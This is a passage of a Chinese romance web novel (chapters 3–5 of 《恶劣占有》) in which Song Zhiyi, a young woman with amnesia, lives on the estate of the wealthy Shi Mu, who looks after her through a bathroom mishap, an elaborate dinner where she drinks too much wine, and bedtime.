《恶劣占有》 3.坏习惯 晚餐的菜单早已定好,无法更改,时霂只是出于礼貌问了一句,他等着女孩说都可以,这个过场就算走完,哪知道她毫不客气,脱口而出:“我要吃巧克力慕斯蛋糕。” “巧克力慕斯蛋糕?” 宋知祎疯狂点头。 她不知道为什么想吃这个,一想到食物,脑海中首先就跳出这个东西,她甚至记得这种味道,深深拓在脑海里。大脑是个神奇的器官,她连自己是谁都不记得了,却记得想吃巧克力慕斯。 一定是她失忆前喜欢吃这个。 宋知祎为自己找回一丝过去的痕迹而雀跃,她兴致勃勃地看向时霂,越说越高兴:“我不要太多奶油,但是要很多巧克力,若是加上草莓就更好了,我还要吃……嗯……”食物的名字已经到嘴边,没想到短路了,居然想不起来。 她拿手比划:“就是这么大一个锅,好多水在里面,咕噜咕噜,然后我把想吃的东西扔进去,煮一煮,捞起来就能吃啦。” 时霂无奈地笑笑,“是中国的火锅吗?” “火锅?对对,是火锅,要吃火锅。”她声音清脆,“要有鸭肠,鸡爪……还有牛肉羊肉鱼肉。” 她可真是不客气,又要巧克力慕斯又要火锅,完全没有一个身无分文、寄人篱下、可怜失忆之人该有的自觉。 时霂耐心等她叽里呱啦了一大堆,环抱双臂,微笑地看着她:“小雀莺,这里没有巧克力蛋糕,没有火锅,总之都没有。” 虽然赫尔海德庄园的厨房拥有五名主厨,分别擅长法餐,意大利餐,日料,中国菜,东南亚菜,还有专门的甜点师,烘焙师,能立刻把一切她想吃的东西做出来,但时霂想着还是不能太娇惯她。 若是想吃什么就有什么,等她到了福利机构该怎么办?那儿是公益性质的地盘,只保证基础温饱,食物定时定量发放,菜单固定为各种香肠,猪肘以及能当做防身武器的面包,据他所知,每周只有一天提供饼干等零食。 她会非常非常失落。何况她这么娇气,又不懂客套,若是纵容她这种性子,那就不是帮她,而是害她。 “为什么?”宋知祎委屈地撅了下嘴,“我就想吃这些。” “厨房有什么就吃什么,别耍小孩性子。就算是小孩,也不能想吃什么就吃什么。”时霂看了眼她手上的留置针,“先坐好,我帮你把留置针抽掉。” 那留置针扎得她手背都肿了,他不忍心,见她恢复得还不错,这两日就先停了输液。 “不要。” “听话。”时霂不理会她的撒娇,拿来棉签和碘伏,骨节分明的手指看着不像是做细活的,但撕胶布的动作却非常轻柔,也很专业。 抽针头时宋知祎一声不吭。 “好孩子,很勇敢。”时霂表扬她,以为她至少也会哼哼两声。 “那我能吃巧克力蛋糕吗?”女孩眼波漾着碎光。 “就这样想吃吗,小可怜,食欲也是欲,是需要克制的。”时霂让她自己摁住棉签头。 宋知祎一面听话照做,一面不乐意地说,“那你为什么要问我想吃什么?我说了,你又不让我吃,这不就是故意捉弄人。” 时霂被她说住了,煞有其事地反思了一下自己的错误,“你说得对,我的确不该这样。” 虚假的客套对这个女孩是不管用的。 “若是你很喜欢这种食物,我会让JH基金会的工作人员把每周供应的饼干都换成巧克力慕斯,如果我没记错,你去的那天刚好就有。” 又是什么劳什子基金会,宋知祎并不在意,只提取关键信息:“哪天有?是明天吗?” 时霂笑了一下。 宋知祎有些委屈,但也把委屈憋着,好吧,明天吃就明天吃,她不想让时霂觉得她是麻烦精。 她害怕时霂不高兴,如同孩子会害怕妈妈不高兴。 . 晚餐准备好了,女佣来请时霂,并汇报说本杰明少爷有事先走了,不留下来用晚餐。 本杰明总是神出鬼没,幽魂似的满世界放荡,交往的女友不下数十个,全是亚洲甜心。时霂对这位眠花宿柳的表弟并不感兴趣,只问厨房准备了什么甜品。 “先生,今晚的甜品有蓝莓朗姆酒蛋糕,榛果玛德琳和蜜瓜冰激凌。” 时霂:“让厨房在蛋糕上放一些巧克力和新鲜草莓。” 女佣微微一愣,很快应下:“好的,先生。我去通知厨房。” 宋知祎去了浴室刷牙洗漱,时而传出悉悉索索的动静。 时霂走到沙发边坐下,长腿交叠,没有表情的面容显得高贵而冷感,视线漫不经心落在某处。熟悉他的人就知道他这时不喜欢被人打扰,不是在想工作就是在思考形而上的哲学论题,冥想,亦或是向上帝忏悔。 窗外的夕阳完全褪去,才六点,幽寂的夜色就把一切都围剿干净,月亮隐在连绵山脉中,只露出一抹晕开的光团。 “时霂!时霂!你快来!”浴室忽然传来女孩咋咋呼呼的声音。 时霂眉心一跳,觉得她真的像一只鸟,大步流星走到浴室前,“是不是摔了?” “不是——”宋知祎尴尬地坐在马桶上,湿漉漉的眼里全是恐慌,她发现一件非常羞臊也非常崩溃的事—— 她居然尿不出来了…… 不论怎么做,都尿不出来,那处袭来针扎般的刺痛,痛得她心肝直颤,简直是天塌了! “慢慢说,我听着。”隔着一扇厚重的雕花木门,时霂富有磁性的嗓音听上去越发沉敛。 宋知祎紧紧揪着身上这件并不合身的丝绒睡裙,磕磕巴巴说:“时霂,我、我好像尿不出来了……怎么办,我是不是坏了?” 时霂愣了愣,这简直是有些荒诞。 不紧不慢地滚了下喉结,嗓音仍旧镇定、温和:“你昏迷时只能依靠尿管,现在拔了一时有滞留感很正常,没有坏。别吓唬自己。” “真的?你没有骗我?” “不骗你。” 他语调沉稳,语速不疾不徐,像指挥三军的长官,充满了信服力,宋知祎选择无脑相信,又努力尝试了几次,结果还是出不来,急得她恨不得伸手去抠,“那我现在该怎么办?时霂,我好难受,你快帮我想办法!” 想办法?想什么办法? 时霂跟不上来事情发展的速度。 他没想过有一天他需要帮一位萍水相逢的少女想办法如何尿出来……在此之前,他解决的难题不是几十亿上百亿的战略投资,就是家族百年累积的财富该如何平稳传承。 自打这只小雀莺醒来后,麻烦就越来越多了。 时霂捏了下眉骨,想起护士说过热敷能缓解,正要去按铃让佣人打一壶热水,浴室里那只小鸟又闹腾起来—— “你想出来没有,我感觉我快死掉了!” 等佣人送水上来,这只小鸟能把浴室炸掉。 时霂深吸气,目光迅速在卧室逡巡一圈后,拿起了那只陈列在壁炉上,用来当装饰品的碗。 一只纯金配珐琅彩的潘趣碗。这是赫尔海德家族收藏的东方舶来品之一,来自晚清时期广州十三行专为德国皇室贵族订做的一批瓷器。 把饮水机调到六十五度,用这只昂贵的古董接满热水,随后走到浴室门前,绅士地敲了一下,“小雀莺,你先试着热敷,热水放在门口,拿的时候小心烫,盥洗池上有个消毒柜,里面有新毛巾,没有缓解我再叫护士过来。” 他像一位耐心的教授,把每一步该做什么都表述的非常详尽,唯恐她有哪里不懂。 可宋知祎难受地咬着牙,她连从马桶上站起来都做不到,这感觉太糟糕了,“可是我动不了……” 意思不言而喻。 时霂端着热水的指尖不可控地收紧,气息像漩涡往下沉。 他搞不懂这女孩是太天真,还是太傻,她连对一个陌生男人最基本的防范意识都没有,她对他的信任和依赖简直是空穴来风,这令他有些莫名其妙的不舒服。 他从有记忆起就很少出现这种低级情绪,身体在这种陌生的情绪中逐渐绷紧,结实的背部肌肉把衬衫顶满。 他意识到自己插手太多了。 他不该把她带回来。 如同一场多米诺骨牌,他无意中推倒了第一张牌,从森林里捡到她的那一刻,局势就开始不可控地坍塌下去,从一寸进到一尺,一尺进到一丈。 他须得快快把她送走了,他必须紧急刹停这场荒唐。 宋知祎见门外没声了,立刻喊时霂的名字,“时霂,时霂,你还在吗!?你是不是走了??时霂——” 时霂定了定神,“没走。” 温沉的气息一字一顿:“你准备一下,我进来了。” 停顿数秒后,他拧开精美的金色把手,门预料之中没有锁,走进来就无法不看见此时呆坐在马桶上,被一泡尿逼得走投无路的女孩,视线在那套了米色长袜的脚上停留几秒,随后克制地挪开。 他拿出新毛巾,对折,放在热水里浸泡,再拧至半干状态,最后把盥洗池的水龙头打开,任由水哗啦啦地流。 做完这些,他闭上眼,在心里计算出距离,精准地走到宋知祎面前停下,不偏不倚,把毛巾递过去,中文吐字格外板正,没有奇怪的音调:“贴在那里,热敷。” 宋知祎不敢看他的脸,即使他闭着眼睛,迅速接过毛巾,敷上去的同时把头埋低。 舒服的热意令胀痛缓解不少,只不过温度没持续多久就散了,宋知祎轻轻拽了一下时霂的西装裤中缝,声音比蚊子嗡还小:“……不热了。” 时霂冷静地伸出手,再次为她烫毛巾。 如此反复敷了三次,又听着哗啦啦的水流声,宋知祎终于摆脱阴云,那股滞留的难受感泄了出来,属于她的小水流噗嗤噗嗤。 其实这声音是很羞臊的,但好在有水龙头的哗啦声,非常绅士,就和时霂一样,让她不必为自己发出的细细水柱声而尴尬。 过了好几秒,对时霂而言漫长得像一个世纪。 女孩终于发出了声音:“我好了……” 宋知祎马不停蹄抓起内裤往上提,瞄了一眼上方,视线撞上男人凌厉的颌线,又猛地收回去,“你可以睁眼了。” “穿好没有?”他仍然闭着眼。 宋知祎脸上通红,“…好了好了。” 时霂这才缓缓睁开,宋知祎已经飞快跑了出去,湖蓝色的裙摆在他眼底一晃而过,像只抓不住的小精灵。他滚了下喉结,绷直的肩背也恢复了一贯的松弛优雅,正要转身时,他余光瞥见了什么,脚步一顿。 这座历史悠久的庄园在华丽典雅的同时也有许多弊端,至少有一半的房间没有配备智能系统,用的还是原始的,需要人工按压的抽水马桶。 时霂凝了凝神,来到马桶边,按下水箱顶部的冲水按钮,手指用力时,贲张出几道性感的青筋。 “Clumsy little bird . ”(迷糊的小鸟。) 他嗓音沉,掩着一些意味不明的波澜,俯身拾起那条掉在地上的毛巾,神色平静地将擦过她私密处的地方折好,扔进了垃圾桶。 连厕所都能不冲,时霂无法想象这只迷糊的小雀莺去了福利机构该如何自理。 . 宋知祎压根就不知道自己居然忘冲厕所了,她早就 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宋知祎一双眼被金碧璀璨的灯火照得亮晶晶,“你家真漂亮,是我最喜欢的粉色!就是不太方便,吃个饭都要走好远。就不能让人送到卧室吃吗?” 时霂笑了声,这小鸟,还挺会享受,就是没什么规矩。 她突然又问,“你是王子吗?” “为什么这样说。”时霂正色。 “因为你住的地方像宫殿,虽然不方便,吃个饭都要走好远,但我非常爱这里,我觉得这里很像我自己的家。”宋知祎愉快地往前跑跳几步,转了个圈,和所有第一次来到这幢宫殿的客人完全不同,她没有一丝一毫地局促,恭敬,或是故意自矜,她真的就像在自己家一样自在。 “而且你长得特别帅,我也好爱!” 她转圈时,裙摆荡漾出绮丽的图案,宛如被粉云朵裹住的蓝色小花。 时霂唇边的笑意深了些,不理会她的轻佻,“小雀莺,以后不要随便对别人说爱。爱很郑重,不要随便用。” 在德国,即使是情侣之间也只会说喜欢,而非爱。爱很郑重,需要负责,不是所有人都愿意把另一个人的人生负担起来。 “我现在就很郑重,我爱你。时霂,我爱你。”宋知祎郑重地看着他,强调,忽然余光瞥见什么,“那是谁?” 她的注意力很糟糕,上一秒说爱他,下一秒就被别的吸引走,三两步跑过去。 她在一幅尺寸巨大的油画前站定。这画比她人还高,足有四米之宽,画着一幅全家福—— 男主人气势威严,立在一张巴洛克式沙发后,身穿白领结礼服,法令纹有些深邃,他面无表情地看向远处,掌心压着一根金色手杖;沙发上坐着一位极为美丽的妇人,缎面礼服,钻石皇冠,每处细节都透着雍容,她怀孕了,掌心正轻柔地覆住微微隆起的小腹;沙发靠右几步开外是一架白色三角钢琴,一名十来岁左右的男孩就站在钢琴边,也穿着非常正式的礼服,金发整齐后梳,仔细看,能辨出他眼睛是暗蓝色的,比蓝宝石更矜贵。 宋知祎静静望着这幅画,有些莫名地低落。 时霂瞥了一眼画,淡道:“无关紧要的人而已。” 宋知祎不解,“无关紧要的人为什么要挂在这里?” “你说的没错,等明日就把这幅画取下来。”时霂走到宋知祎身旁,手插进西装裤兜,侧身对着这幅画,连余光也不肯多给,“小可怜,有这么好看吗?值得你目不转睛。” 宋知祎蹙起眉,喃喃:“这幅画看上去好奇怪。” 时霂注视着她微颤的睫毛,温声问:“哪里奇怪?” 宋知祎抿了抿唇,和画上的小男孩对视,“全家福不应该充满幸福吗?可是这画看着很压抑,颜色也阴沉,还有这个小男孩,为什么要站这么远呢……时霂!” 语调突然扬起来,她发现新大陆,“你和他都是蓝色眼睛诶,难道——” 话没说完,前方突然被挡住,视线中小男孩的脸瞬间换成一具极为成熟的男性身体。 男人离得非常近,这距离和他一贯的绅士作风背道而驰,衬衫下涌动的热量几乎强硬地逼上宋知祎的脸。 宋知祎一点也不怕时霂,但她内心的潜意识让她头皮开始一阵阵发麻,有种被危险笼罩的错觉。 头顶传来男人低柔的嗓:“我似乎听见有肚子饿得咕咕叫的声音。” 注意力顿时就转移了,她亮晶晶的眸望着男人:“可是我的肚子现在没有饿得咕咕叫啊。” 时霂颔首,“抱歉,也许是我听错了。那既然不饿了,我让人把晚餐撤掉。” 宋知祎一听没饭吃就急了,“我真的饿了,不信你摸,喏,都瘪了!”她把瘪瘪的肚子挺起来,要时霂去摸。 简直是没规矩。 时霂对她的轻佻有些无可奈何,“肚子收进去,小雀莺。” 骨节分明的长指隔空点了点,“以后不要让男人摸你肚子,也不要随便对人说爱,更不要东张西望,都是坏习惯,知道了吗?不听话的孩子只能饿肚子。” 他语气神态都温和,但宋知祎总觉得有些凶。 宋知祎怕时霂生气,更怕饿肚子,接下来都老老实实,只是在即将拐出走廊时,她感应到了什么,下意识回头看了一眼。 那画看不见了,视线中只有数不清的华丽的粉色。 她忽然意识到一个奇怪的地方,他们走了这么久,路上连个人影也没见到,四周安安静静,说话能有回音,安静到有些阴森了。 时霂说这里是他的家,宋知祎不太理解。 . 4.你不一样 原来这个家里是有其他人的。 下楼后,这幢大到空荡荡的庄园里才陆续有了活气。出现了一些穿相同制服的人,或男或女,或是白色皮肤,或是黑色面孔,这些人在见到时霂后纷纷恭敬低头,说着发音相同的一句话,这种语言宋知祎听不懂。 时霂微笑致意,并不和他们说话。 宋知祎被开始那几名护士弄出心理阴影了,见到生人就往时霂这里躲,半边身体都紧挨着时霂的手臂。时霂甩不掉她,只能被她贴着,精壮的手臂冒出一些不自然的热意。 宋知祎暗中观察,等走过了,她才说:“他们不是你的家人。” 时霂淡笑着瞥她一眼,“聪明的小鸟。” 宋知祎喜欢被表扬,嘴角翘起来,立刻分享自己的思路:“因为你不和他们说话,如果是家人,肯定有很多话要说。那他们都是谁?你的属下吗?” “庄园的工作人员。你有需要可以找他们。” 宋知祎点点头,又摇摇头,说:“我不找他们,我还是找你。”然后贴得更紧。 “…………” 餐厅里,佣人早已将晚餐布置妥当。 长桌铺好干净的白缎桌布,中间摆上紫绣球与橙百合搭配的桌花,另有银质的古董烛台,水晶酒杯和各种精美非凡的瓷器餐具,在这种华丽的氛围下,连一片不值钱的菜叶子也能营造出一百欧的错觉,何况本就精致摆盘的菜品。 时霂的私人管家哈兰候在餐厅口,等主人到来后恭敬地鞠躬问好,“女士,先生,晚上好。” 宋知祎警惕地打量着这个面带慈祥微笑的中年男人,时霂很轻地拍了拍她绷紧的背脊,“不用怕,这是我的管家,你叫他哈兰就好,他会说中文。” 哈兰是意大利人,有着一双和蔼的棕色眼睛,他并不打理庄园事务,只对时霂的日常生活负责,如今四十五岁,跟在时霂身侧已有十二年了。 宋知祎放松下来,挥挥手,露出甜美的笑容,自我介绍:“哈兰管家,你好,我是时霂捡到的小雀莺。” 话刚落音,一声无奈的笑从身旁男人的胸腔里震荡出来,低沉而短促地那么一下,落在耳朵里很痒。宋知祎不解地望过去,不懂时霂在笑什么。 “不是笑你。”时霂解释,随后对哈兰用德语交代了几句。 哈兰心领神会地点点头,原来这位女孩失忆了,在这异国他乡发生这种变故,没有亲朋好友也没有家,实在是可怜。难怪先生愿意留下她,也对,这样一只无家可归的小鸟,再冷硬的人也会动恻隐之心。 哈兰不动声色地打量过宋知祎,笑着做了个请的手势,用不太正宗的中文说道;“My lady,您的晚餐已经准备好了,请跟我来。” 宋知祎小声说谢谢,心想着在时霂家吃个饭可真麻烦啊。终于能上座,哈兰为她拉开餐椅,佣人端来前菜和一份奶油焗龙虾,之后陆续有咖喱蟹,香草酱蜗牛,带着一股麦子香气的羊排。 宋知祎原本因为吃不到巧克力蛋糕和火锅而沮丧的心情瞬间一扫而空,惊喜地看向坐在对面的时霂,郑重道:“我非常喜爱这顿晚餐,时霂,你对我很好,我觉得我更爱你了。” 哈兰忍俊不禁,时霂则摇了摇头,优雅地脱下西服外套,交给佣人。 这小雀莺轻浮得很,动不动就对陌生男人说爱,教她道理她还顶嘴。 也不知她失忆之前是否也如此,若是,那她定是情场上令人又爱又咬牙的那种女孩,又或许她失忆前有一个非常相爱的男友,以至于动不动就把爱挂在嘴边。 思及此处,时霂心底无端划过一丝涟漪,非常短暂,也非常细微,细微到他都不想给以关注,拿起手边的餐前酒,神色平静地喝了一口。 对面的宋知祎早就饿得前胸贴后背,先是叉起一只大蜗牛送进嘴里,然后马不停蹄切羊排。 她手边只摆了主餐刀和主餐叉,方便操作,避免了换来换去。时霂这边则足足多出九种餐具,光是餐叉就有四把,吃鱼的,吃甜品的,吃沙拉的,吃主餐的,非常繁琐。 这便是一名绅士的妥帖之处,提前交代把那些无谓的餐具给撤下,一是怕她麻烦,二是怕她万一不会用,造成尴尬。 吃顿饭而已,没必要让淑女吃得不痛快,何况她也不会在这里呆太久,根本不需要学习这些繁琐的餐桌礼仪。 用餐时很安静,时霂有着优雅的餐桌礼仪,不会满嘴食物地说话,宋知祎也难得不那么叽叽喳喳,埋头苦吃,仅有的几句话也是让时霂吃这个吃那个,男人笑笑,顺从着她的话,看上去,一切都是在纵着她。 哈兰全程在一旁侍候,见宋知祎非常喜爱那道香草蜗牛,便开了一瓶冰镇的白葡萄酒,为她倒了小半杯,“My Lady,不妨试试用霞多丽搭配蜗牛,风味会更佳。” “这是酒啊。”宋知祎拿到鼻尖下轻嗅。 哈兰点头:“这款是产自法国勃艮第勒弗莱酒庄的白葡萄酒,年份和口感都很不错,适合女士。” 酒。宋知祎知道酒是什么东西。 她表情兴奋起来,看向时霂说:“我可以喝酒吗,时霂!” 时霂目光平淡地扫过哈兰,哈兰当即明白过来,抱歉地低下头。他考虑欠妥了,忘了这位女孩刚昏迷醒来,不能饮酒。 倒也不怪他,这些年来,他从没见过哪位女士能吃东西吃得这么香,这么认真,若是主厨在,大概会感动得落泪,他看着看着就涌起了饲养员的满足感,恨不得把最好的东西拿出来投喂她。 “可以吗可以吗可以吗?” 她又开始叽叽喳喳。 时霂放下餐具,拿白巾压走唇上沾着的油星,这才开口:“最好不喝,你刚醒来,没有彻底康复,如果实在想,就尝一口。” 一得到批准,宋知祎迫不及待尝了尝,明亮的酸味涌上舌尖,夹杂着蜂蜜与榛果的香气,她双眼亮了亮。时霂预感到不对劲,不过是迟了半拍而已,就眼睁睁看她干掉了一整杯。 时霂眉心都紧蹙,没想到她还是个酒鬼。 宋知祎一口气干掉一整杯,意犹未尽,“这酒真好喝,又酸又甜,我还想要一杯,哈兰管家。” 这小鸟完全不把自己当病人,当客人,当陌生人。 哈兰也没想到会发展成这样,赧颜汗下,拿着酒瓶退到远处。 “哈兰……!你怎么站到那里去了!”宋知祎发现哈兰躲在远远的角落里,有点可怜的模样,被逗的大笑起来,“再给我一杯!” 她拿起杯子,打算去找酒。 对面的男人先一步起身,雕塑般高大精悍的身体有着强烈的存在感,瞬间吸引了宋知祎全部的视线,她眨了眨眼。时霂绕过长桌,步伐优雅,气场却沉冷,来到她身旁,强势地收走那只水晶酒杯。 他视线低垂而来,这样的角度,使得他本就强大的气场充满了威严,也让他深邃的五官无比凌厉,“再喝就醉了。” “……最后一杯。”宋知祎脸颊在缓慢地泛出红晕,也许是酒精在发酵,也许是时霂这样太有压迫感了,又性感。 她可怜巴巴地比出一根食指,“时霂……” 男人微笑,温和却不为所动,“说好是一口,是你先犯规,小鸟。” 宋知祎:“好吧,那我不爱你了,时霂,不过你给我再喝一杯,我还是会爱你。” 时霂微眯眼,暗蓝色的眸很暗。他并不把她上一秒爱下一秒不爱的幼稚行为放在心上,用德语吩咐佣人上甜品。 很快,加了草莓和一层巧克力碎末的蓝莓蛋糕来到餐桌。 “巧克力蛋糕!” 宋知祎注意力瞬间转移,时霂却不紧不慢锁住她的手腕,掌心的温度烫着她细腻的皮肤,令她打了个很轻微的颤。 “时霂?”她眨了下醺醺的眸,抬头去看。 时霂也居高临下地来看她,那张雕塑般俊美的脸庞终于透出温和以外的情绪。强大,威严,充满了致命的掌控感,和温柔宠溺的妈妈没有半毛钱关系,更像是权威十足的爹地,会惩罚不听话的孩子。 “巧克力蛋糕和酒只能选一个。” 宋知祎嘟起嘴,刚要甜言蜜语,就被他打断:“撒娇哄人就都没有。” “听懂了吗,小酒鬼。” 听懂了。宋知祎有些委屈,但更多的是老实了。时霂这样真的很有压迫感,她是能屈能伸的好孩子。 最后当然选了巧克力蛋糕,简直不需要犹豫。时霂料想也是,微笑着松开她的手,亲手将那块精美的蛋糕端到她面前。 不过宋知祎也没完全老实,她把一整块蛋糕都吃了个干净,末了,舔着嘴角说:“这根本不是巧克力慕斯,这是蓝莓蛋糕。你骗我,我还不如选酒。” 只有蛋糕表面铺了一层巧克力碎屑而已,挂羊头卖狗肉,里面其实是蓝莓酱。她不喜欢蓝莓,若不是这蛋糕实在美味,她才不会吃。 时霂哑然失笑,有些拿她没办法。她比他想象的要娇气很多,不过,大多时候都很听话,也乖,吃饭 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宋知祎不嫌手酸,维持着要抱抱的姿势,一双被酒精熏醉的眼睛,朦胧又明亮,“你抱我吧,时霂。我不想走。”她又说了一遍。 时霂只是看她,没动,瞧了数秒,他平静地收回目光,去解袖口处的扣子。他一身都是暗色调,唯有这对袖扣是很明亮的蓝松石,嵌了一圈钻,很是华贵。 筋骨分明的手指修长且灵活,没几秒就解了袖扣,将其随手扔进一只干净的酒杯,松石敲击杯壁,发出清脆的碰撞声。 宋知祎看向那对精致的袖扣,在水晶杯里格外的漂亮,只不过下一秒视线就被更好看的吸走,来到时霂的手臂。 时霂正把袖子折成两圈挽上去,露出漂亮结实的手臂线条。他皮肤是很浅的小麦色,不会太深显得粗鲁,也不会太白皙而显得文弱,是强壮的颜色,性感得恰到好处。 灯光下,宋知祎看见那上面覆着一层细绒似,淡金色的汗毛。 宋知祎慢慢睁大了眼,原来他手臂不止粗,居然还有好多毛毛,以及蜿蜒的青筋! 她呼啦把自己的袖子撸上去,纤细白皙的手臂如玉如剥皮的藕更如细腻的绸,汗毛也有,就是很细很细,几乎看不见。 她把手臂放在时霂的手臂旁边,两条手臂挨在一起,对比越发鲜明,到了夸张的地步。 体型差和肤色差让宋知祎觉得新奇,她调皮地用手臂蹭上时霂的手臂,那些凸起的过于男性化的青筋在她细腻的皮肤上擦过,“你看,你的手居然有我两个粗!” 她用力绷紧手臂,让自己看上去更强壮些,“我也能很硬,不比你的差。” 时霂目光低垂,看着他们挨在一起的手臂。一个粗,一个细,一个深,一个浅……身体莫名涌起一些粗糙的热意,口也燥了起来。 他滚了下喉结,抬手将她的袖子拉下来,“以后不要随便把身体露给陌生男人看。” 宋知祎脑子里没什么性别概念,失忆造成她的认知系统非常混乱,零碎,有些懂,有些不懂,时有时无。 “手又没关系。”她想了想,又说,“你也不是陌生男人。” 时霂凝着她绯红的脸蛋,继续耐心讲道理:“不论是谁都不能掉以轻心,你要学会保护自己。这里没有你想的那么安全,有些人看上去也许很正经,实际上……” 他微笑着,一字一顿:“是变态。” “变态是什么?”宋知祎忘了这个词。 “变态就是坏人。坏人会对你有邪恶的念头,会伤害你。” 宋知祎没有接话,发起了愣。 时霂只当她在认真反思,到底有几分欣慰。 宋知祎的确在用她晕乎乎的脑袋认真思考,几秒过后,她似懂非懂地点点头,“这样啊,那我只给你看不就行了?你又不是变态。” 时霂怔了下,随后似笑非笑地抬了下唇角,蓝眸不知不觉变得幽暗。 他伸手,食指和拇指轻轻捏住宋知祎的下颌,抬起她的脸,“别太相信任何人,小雀莺。” 男人指腹是粗糙的,而她的皮肤却过于细腻,那么软,像是在捏一块怕碎的豆腐。 宋知祎直勾勾地和男人幽邃的目光相接,笃定地说:“你不一样,时霂。” 她心想,你是我第一眼见到的人,是特别的,是与众不同的,甚至是……妈妈,爸爸,一切我可以依赖的。 “我也一样。” . 5.雄狮 “就不一样。就不一样!就不。”宋知祎固执地说了三遍,那双扑闪的湿润的眼眸直勾勾地盯着时霂。 “时霂,我不要你是变态,你是好人。” 说到最后都有点撒娇耍赖了。 时霂领教过她的倔犟,决定不再和她继续讨论,手掌朝上,绅士地递到她跟前,笑笑,“小雀莺,好人抱你回去,或者你自己走。” “抱抱抱抱抱——!” 时霂轻松地将她打横抱起,精壮粗硕的手臂就像摇篮把她包裹起来,比摇篮更温暖,那股体热透过衬衫、马甲和丝绒,来到她的皮肤。 被男人的热意包着围着裹着,还有一股深冽的香气,宋知祎更晕,双手圈住时霂的脖子,把脸埋进他的颈侧。 依照原路返回客房,再一次通过那条浮华的粉色走廊。 时霂抱着她,没有说话,步伐迈得很沉稳,璀璨的灯火在他们身上流转。这座庄园的夜是极静的,听不到任何来自人类世界的声音,如此远,如此静谧,只有悠长的风声,树林婆娑,还有说不出名字的鸟的啁啾。 “你很好闻,时霂。”宋知祎小声打破这种宁静。 时霂滚了滚喉结,没有分心,专注地看路。 “对了,德国是哪里?”她问。 看来这女孩真的完全不记得了,连德国是什么都不知道。 她有可能是被拐卖来德国,万幸从人贩子手上跑出来,落进他的狩猎场。这个世界的阴暗面恐怖到普通人很难想象,多的是在暗网上购买特殊少男少女的变态富豪,亚裔血统往往很受欢迎。 “德国是一个国家,在欧洲中部,你的家乡或许在东方,你记得你来自哪个国家吗?” “中国!”她毫不犹豫大声说。 这个倒是记得清楚。时霂对大脑的记忆机制方面了解得并不专业,只能初步判断她许是海马体受损,无法得知她到底记得什么不记得什么。 “据我所知,中国有三十四个省份,你呢?来自哪个省,北方还是南方?又或许你是来自其他国家的华裔,国籍并不是中国,你可以仔细想一想。”时霂有意引导她找回些许记忆。 宋知祎面露迷惑,仔细想了会儿,头又开始一阵阵剧痛。她本来就难受,喝了酒,头晕,时霂还非要让她想想想,她心里来气,扬起下巴,对准时霂凸起的喉结咬了一口—— 下一秒,低沉的闷哼从男人震颤的胸腔传出来。 这声音仿佛野兽一般,又莫名地性感,宋知祎简直是听得脸红心惊,“时……” 话未落音,抱住她的手臂突然重了力道,把她箍得发痛,她不敢挣扎,也不敢乱动,很心虚地解释:“我没用力咬……真的。” 时霂面容平静,仿佛刚才发出那种声音的人不是他,他看着前路,一板一眼,“再胡闹就自己走。” 听上去他生气了,又不像生气那么严重,总之这句很威严。其实咬得一点也不重,像鸟喙轻轻啄了那么一下。 宋知祎吃了教训,没敢吭声,老实巴交地把头埋进时霂怀里,从某个角度去看,她雪白的鼻尖像是被男人胸肌的弧度吞了进去。 后半程路时霂走得很快,被她啄过的那颗喉结依旧留有强烈的感觉,丝毫没有消退,仿佛女孩的牙齿还在那处磨着,磨得他浑身都难受起来,因为难受,脚步越发急促,上楼的时候甚至两级台阶并作一级。 西装裤的放量在跨步时收紧,贴住男人强劲的腿部曲线,皮鞋踩实地毯,发出闷重的低音,一下,一下,敲得宋知祎心头做响。 怎么回事?他好急躁…… 时霂此刻没做它想,只想赶紧把这只不讲规矩的轻浮小鸟放下来。 其实他根本就不该抱她。他太纵容她了,才让她短短时间就得寸进尺。 没几分钟就到了宋知祎住的那层楼,走廊两侧都是客房,宋知祎留宿的卧室坐落在最深处,是这层最大的一间套房。 时霂抬膝顶开虚掩的双开房门,没去开灯,像夜行动物一样从黑暗中穿行,准确地将宋知祎放在床上,然后迅速走到沙发上,把搭在扶手的毛毯拿起来。毛毯不是给宋知祎的,而是搭在他自己的手臂,做完这一切,他紧绷的身体好似终于松懈了几寸,气息也平和下来。 朦胧的月色从玻璃窗里投进来,宋知祎视线模糊,耳朵就敏锐起来,隐隐约约听到黑暗里有一声细微的吁气。 时霂知道此时不开灯很不礼貌,孤男寡女共处暗室,不是要做坏事,就是心里有鬼,就算他没有坏心,但瓜田李下,不是绅士所为。 他在黑暗中整理了一下弄皱的衬衫,走去把灯揿开。 视线终于清晰起来,宋知祎坐在床上,两手撑着床垫,不太理解,歪着头打量时霂。 他只穿了白衬衫配暗蓝色马甲,在餐厅时,一身还是熨帖笔挺的,经过这一路的折腾,衬衫皱了,马甲扣子散掉一颗,挽起来的那截袖口脱落几寸,若隐若现地遮住他臂弯上的一条贲张的青筋。 另一只手臂横在身前,搭了一块毛毯,把他身体的中间那一块挡住。 宋知祎不解,指指毛毯:“你很热吗?时霂。” 时霂:“这块毛毯脏了,我拿去交给佣人清洗。” 其实宋知祎根本没问这些,反倒是对面人解释了一通,这个解释简直是搞笑,也就骗得到她。 宋知祎点点头:“那是要清洗一下!” 时霂微笑,“晚上佣人会来送牛奶,你还需要吃药和处理伤口,她们会帮助你。” 宋知祎一听,连忙摇头,“我不要其他人,我要你!你帮我送牛奶喝,你帮我处理伤口。” 时霂语气微沉,蓝眼看着她:“听话,小鸟。” 宋知祎瘪了瘪嘴,一副委屈又不敢闹腾的模样。 时霂反思了一下自己刚才的语气不太绅士,重新柔和了嗓音:“因为我晚上有些事要处理,没有时间过来,听话,吃药了就自己睡觉,好吗?” “好吧。”刚说完,她又补充,“那明天你要来找我哦!” 时霂笑了笑,并不接话,只是不疾不徐地:“晚安,明日佣人会来叫早。” 水晶光晕下,他冷金色的头发折射出流光溢彩的色泽,暗蓝色的双眸像森林里血统纯正而强大兽王。 他绅士地欠身,“希望你做个好梦,小雀莺。” “晚安,时霂。”宋知祎眼巴巴地看着男人转身离开,目光先是在宽厚的肩背上划过,再来到被马甲裹得紧紧的腰,最后在那挺翘性感的臀肌上停了漫长的几秒。 她眨了眨眼,有些眩晕。 就在时霂即将走出房门时,她忽然有种做梦的感觉,不真实,她不能和妈妈一起睡?她想把脸埋进时霂的胸膛,想牢牢抱住他的腰,像抱她的糖果枕头一样。 对,她记起来了!她有一颗糖果枕头!长长的糖果枕头! 失忆带来的安全感缺失在这一刻重新湮灭她。 她大声叫住他:“时霂!” 时霂止住脚步,回头,温柔地看她。 宋知祎不敢说想和他一起睡,怕他觉得她烦,“……我想抱着糖果枕头睡觉,时霂。” 